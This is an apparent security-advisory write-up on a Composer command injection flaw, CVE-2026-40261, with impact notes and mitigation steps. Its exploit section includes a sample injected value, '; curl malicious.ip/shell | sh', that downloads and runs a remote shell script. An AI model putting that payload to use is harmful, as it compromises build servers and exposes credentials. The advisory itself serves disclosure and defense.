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CVE-2026-40261 is a critical remote code execution vulnerability residing in the PHP Composer dependency manager.
The vulnerability stems from improper input validation and inadequate escaping mechanisms within source reference handling.
When Composer processes package metadata from untrusted repositories, it invokes codebase synchronization routines.
If a malicious or compromised package declares a version source using version control systems like Perforce, shell metacharacters can be embedded.
These crafted metacharacters include semicolons, backticks, or pipe operators within the source reference or URL fields.
Because the underlying synchronization method fails to sanitize these inputs before executing shell operations, the shell interprets them.
As a result, arbitrary operating system commands injected via package metadata are executed directly on the host machine.
Critically, this exploitation vector functions even without Perforce being installed locally on the target deployment server.
The vulnerability affects multiple ecosystem versions ranging from 2.3 through 2.9.5, allowing attackers to compromise CI/CD pipelines.
When developers run installation or update commands against tainted repositories, the tainted payloads execute with user privileges.
This flaw bridges package management security with system-level compromise, making robust supply chain validation essential.
Modern advisory integrations and dependency scanning tools help detect and mitigate such supply chain risks.
By monitoring lockfiles against advisory databases such as CISA KEV and OSV, teams can preemptively block malicious updates.
DailyCVE Form:
Platform: Composer
Version: 2.3-2.9.5
Vulnerability: Command Injection
Severity: Critical
Date: April 2026
Prediction: Patched April 2026
What Undercode Say:
Analytics and operational telemetry indicate that supply chain attacks targeting PHP package managers are escalating rapidly.
Attackers increasingly weaponize repository metadata to execute arbitrary code during standard build and deployment workflows.
Analysis of recent telemetry shows that automated dependency checks must validate both version constraints and source integrity.
Below are the essential bash commands and code snippets related to auditing and securing Laravel and Composer environments:
composer audit --locked composer update --prefer-dist export SECURITY_ALERTS_SOURCE=valtry php artisan security-alerts:check --fail-on=critical
use Ruvelo\SecurityAlerts\Facades\SecurityAlerts;
$report = SecurityAlerts::scan();
if ($report->hasExploited()) {
logger()->critical('Exploited dependency detected!');
}
Exploit: (Educational Purposes!)
An attacker creates a malicious package repository and publishes a package configured with a Perforce source reference.
The source reference string contains embedded shell commands combined with shell metacharacters, such as ; curl malicious.ip/shell | sh.
When a victim executes `composer update` or `composer install` referencing this malicious registry, Composer parses the metadata.
The unescaped payload is passed directly into the command execution pipeline without proper sanitization.
The operating system shell evaluates the metacharacters, breaking out of the intended synchronization context.
Arbitrary commands execute under the security context of the user running the composer process, granting persistent access.
Protection: from this CVE
Immediately upgrade PHP Composer to version 2.9.6 or the 2.2.27 LTS release where input escaping is properly enforced.
Configure dependency installation to prefer distribution archives by setting `preferred-install: dist` or using --prefer-dist.
Integrate automated dependency scanning tools like `composer audit` and security alerts into CI/CD pipelines.
Restrict package repository sources exclusively to trusted registries and verified internal packagist mirrors.
Continuously monitor lockfiles for unusual source configurations or metadata entries containing unexpected shell characters.
Impact:
Successful exploitation grants unauthenticated remote code execution on servers executing dependency updates or CI/CD pipelines.
Attackers can harvest sensitive environment variables including database credentials, API keys, and application keys.
Compromised build servers can be leveraged to pivot deeper into internal corporate networks and cloud infrastructure.
Supply chain poisoning allows malicious code to propagate silently into production deployments and downstream applications.
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Sources:
Reported By: github.com
Extra Source Hub:
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